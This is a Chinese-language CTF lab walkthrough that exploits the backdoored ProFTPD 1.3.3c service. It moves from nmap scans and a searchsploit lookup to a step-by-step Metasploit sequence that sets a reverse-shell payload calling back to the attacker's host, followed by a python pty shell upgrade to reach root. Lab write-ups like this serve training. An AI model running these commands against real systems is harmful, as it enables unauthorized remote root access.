CTF靶场训练-FTP服务后门利用

Background

文件传输协议(File Transfer Protocol,FTP)是用于在网络上进行文件传输的一套标准协议,它工作在 OSI 模型的第七层, TCP 模型的第四层, 即应用层, 使用 TCP 传输而不是 UDP, 客户在和服务器建立连接前要经过一个“三次握手”的过程, 保证客户与服务器之间的连接是可靠的, 而且是面向连接, 为数据传输提供可靠保证。
FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而, 用户并不真正登录到自己想要存取的计算机上面而成为完全用户, 可用FTP程序访问远程资源, 实现用户往返传输文件、目录管理以及访问电子邮件等等, 即使双方计算机可能配有不同的操作系统和文件存储方式。

FTP端口号是:21

默认情况下FTP协议使用TCP端口中的 20和21这两个端口,其中20用于传输数据,21用于传输控制信息。
但有时数据端口不一定是20,这和FTP的应用模式有关,如果是主动模式,应该为20,如果为被动模式,由服务器端和客户端协商而定。

实验环境

  • 攻击机 Kali: 192.168.0.106
  • 靶机 Ubuntu: 192.168.0.105

目的: 获取靶机root权限

信息探测

扫描主机服务信息以及服务版本

1
nmap -sV 靶场IP地址

快速扫描主机全部信息

1
nmap -T4 -A -v 靶场IP

image
image

发现靶机开放了ftp服务,并且有相应的版本信息。
(ProFTPD:一个Unix平台上或是类Unix平台上(如Linux, FreeBSD等)的FTP服务器程序。)

发现漏洞

  • 分析nmap扫描结果,挖掘可以利用的信息;
  • 使用seachsploit,查看漏洞信息,找到可利用的溢出代码;
    1
    root@kali:~# searchsploit ProFTPD 1.3.3c

image
发现ProFTPD 1.3.3c存在漏洞,并且在msf中集成了可用的EXP;

msf利用漏洞

1
2
3
4
5
6
7
8
9
msf5 > search ProFTPD 1.3.3c     //搜索可用的模块
msf5 > use exploit/unix/ftp/proftpd_133c_backdoor // 使用模块
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads // 显示可用的payload
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse // 设置payload
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options // 查看配置项
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts 192.168.0.105 // 设置靶机IP
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.0.106 // 设置攻击者IP
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options // 确认配置项
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > exploit // 发送利用代码

查询是否有可利用的模块
image

使用模块,并查询可用的payload
image

设置payload(cmd/unix/reverse),查看需要填写的配置项
image

设置IP地址
image

发送利用代码
image

因为交互的方式对用户不是很友好,可用python进行优化
输入以下命令

1
python -c "import pty;pty.spawn('/bin/bash')"

image

总结

  • 对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞利用代码;
  • 对于系统,一定要注意利用现成的EXP来root主机;